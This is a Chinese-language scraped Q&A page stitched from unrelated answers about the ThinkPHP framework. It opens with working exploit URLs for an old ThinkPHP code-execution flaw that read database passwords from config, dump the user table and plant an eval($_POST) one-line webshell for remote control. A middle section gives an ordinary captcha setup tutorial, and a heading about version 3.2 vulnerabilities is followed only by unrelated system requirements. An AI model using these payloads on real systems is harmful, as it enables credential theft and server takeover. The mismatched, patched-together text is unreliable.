thinkphp 怎么利用漏洞
1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST
http://site/index.php/module/action/param1/${@print(THINK_VERSION)}
http://site/index.php/module/action/param1/${@print(C(‘’))}
http://site/index.php/module/action/param1/${@print(C(‘DB_PASS’))}
2.使用模型D方法或者M方法,猜测后台帐号密码,当然首先要先猜一下用户的表名了
http://www.site.com/eetodaycom/index.php/Product/show/id/25/parm1/${@var_dump(D(user)-》select())}
3.直接执行一句话代码,然后用菜刀直接连接.
http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s
如何解决thinkphp5中验证码常见问题
在项目目录下面生成captcha扩展 (需要安装composer来安装)
composer require topthink/think-captcha
2 安装完成之后会呈现如上的目录。captcha扩展安装完成之后,就可以进行下一步操作
配置comfig.php文件:在comfig.php下面加个扩展
//验证码
’captcha’=》 [
//字符集合
’codeset’=》’23456780qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM’,
//字体大小
’fontSize’ =》 18,
//是否花混淆曲线
’useCurve’ =》 true,
//图片高度
’imageH’ =》 40,
//图片宽度
’imageW’ =》 130,
//位数
’length’ =》 4,
//验证成功后是否重置
’reset’ =》 true,
],
3.刷新验证码功能 src路径在这里可以用框架自带的也可以直接访问img方法
《img id=“captcha_img“ src=“{:captcha_src()}“ alt=“验证码“ onclick=“refreshVerify()“》《a
href=“javascript:refreshVerify()“》点击刷新《/a》
在js《script》标签部分加上刷新事件
function refreshVerify()
{
var ts = Date.parse(new Date() )/1000;
console.log(ts);
$(’#captcha_img’).attr(’src’,’/captcha?id=’+ts);
}
4.在控制器里用TP验证自带的方法
在你的登录的控制器里面加入
4.1在头部引入 use think\captcha\Captcha;
//该方法引入img图像 宽高可以再img用css直接控制!
public function img() {
$captcha = new Captcha();
return $captcha-》entry();
}
// 检测输入的验证码是否正确,$code为用户输入的验证码字符串,$id多个验证码标识
function check_verify($code, $id = ’’){
$captcha = new Captcha();
return $captcha-》check($code, $id);
}这个方法下面的验证要用到
在你的form验证码值发送的方法里加入 post提交 GET提交就把post改成get 表单验证码name是code
$request=request();
if ($request-》isPost()){
if($request-》post(’code’)){
if($this-》check_verify($request-》post(’code’))){
$message= ’验证成功’;
}else{
$message= ’验证错误’;
}
}else{
$message= ’没有输入验证码’;
}
}
照以上做没有任何问题
Thinkphp最新的3.2系列版本有哪些漏洞
PHP5.3以上版本(注意:PHP5.3dev版本和PHP6均不支持)
支持的服务器和数据库环境
支持Windows/Unix服务器环境
可运行于包括Apache、IIS和nginx在内的多种WEB服务器和模式
支持Mysql、MsSQL、PgSQL、Sqlite、Oracle、Ibase、Mongo以及PDO等多种数据库和连接
对于刚刚接触PHP或者ThinkPHP的新手,我们推荐使用集成开发环境WAMPServer(wampserver是一个集成了Apache、PHP和MySQL的开发套件,而且支持不同PHP版本、MySQL版本和Apache版本的切换)来使用ThinkPHP进行本地开发和测试。
-thinkphp5漏洞